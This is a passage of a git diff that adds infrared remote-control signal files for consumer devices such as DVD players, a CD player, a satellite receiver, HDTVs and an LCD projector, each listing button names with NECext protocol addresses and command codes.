00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: R/L +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir new file mode 100644 index 000000000..6d91ef1f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: n/p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: l/a +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir new file mode 100644 index 000000000..79c79823c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 14 00 00 00 +# +name: OPEN_CLOSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: CONTINOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: SINGLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: A_B_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2F 00 00 00 +# +name: PREV_TRACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: SKAN_REW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: SKAN_FF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: PREX_DISK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: NEXT_DISK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISK1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: DISK2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: DISK3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: DISK4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: DISK5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir new file mode 100644 index 000000000..775c0f4c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0B 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 10 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 11 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3A 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 63 00 00 00 +# +name: TV/_DSS +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 69 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6C 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6E 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6F 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 72 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 73 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 74 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 75 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir new file mode 100644 index 000000000..b9a719796 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: CURSER_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: EASY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 52 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: SUBTITTLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir new file mode 100644 index 000000000..ac79c6842 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: DISK_SKIP_DOWN +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3D 00 00 00 +# +name: DISK_SKIP_UP +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir new file mode 100644 index 000000000..21bf70f3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 08 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 0B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 0F 00 00 00 +# +name: OPEN_CLOSE +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 16 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 1B 00 00 00 +# +name: PWRON +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 2F 00 00 00 +# +name: PREV_TRACK +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 30 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 32 00 00 00 +# +name: SKAN_REW +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 33 00 00 00 +# +name: SKAN_FF +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 34 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 39 00 00 00 +# +name: STEP_REW +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 3A 00 00 00 +# +name: STEP_FF +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 3B 00 00 00 +# +name: DISK1 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 40 00 00 00 +# +name: DISK2 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 41 00 00 00 +# +name: DISK3 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 42 00 00 00 +# +name: DISK4 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 43 00 00 00 +# +name: DISK5 +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 44 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 54 00 00 00 +# +name: SUBTITTLE_ON_OFF +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 62 00 00 00 +# +name: SUBTITTLE_CHANGE +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 63 00 00 00 +# +name: AUDIO_CHANGE +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 64 00 00 00 +# +name: ANGLE_CHANGE +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 65 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 79 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 7A 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 7B 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 1A 7A 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir new file mode 100644 index 000000000..bf6628365 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir new file mode 100644 index 000000000..82193c3af --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: TV_ANT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: VIDEO5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: QUARTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir new file mode 100644 index 000000000..e463449ad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: DTV_ANT +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 2A 00 00 00 +# +name: MEM_STICK +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 31 00 00 00 +# +name: VIDEO6 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 42 00 00 00 +# +name: VIDEO7 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 42 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 4D 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir new file mode 100644 index 000000000..8ac88b966 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: CC +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 10 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 1F 00 00 00 +# +name: ZOOM_CAPTION +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 32 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3B 00 00 00 +# +name: NORMAL_FULL +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3B 00 00 00 +# +name: WIDE_MODE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3D 00 00 00 +# +name: WIDE_ZOOM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 42 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 63 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 6E 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 74 00 00 00 +# +name: HALF +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir new file mode 100644 index 000000000..47bff6a57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 0F 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 1A 1A 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir new file mode 100644 index 000000000..cc3d8aa13 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_VIDEO_1 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2A 00 00 00 +# +name: INPUT_VIDEO_2 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2B 00 00 00 +# +name: INPUT_RGB +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2C 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2E 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 2F 00 00 00 +# +name: SELECT+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 31 00 00 00 +# +name: SELECT_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 32 00 00 00 +# +name: FOCUS_IN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 41 00 00 00 +# +name: 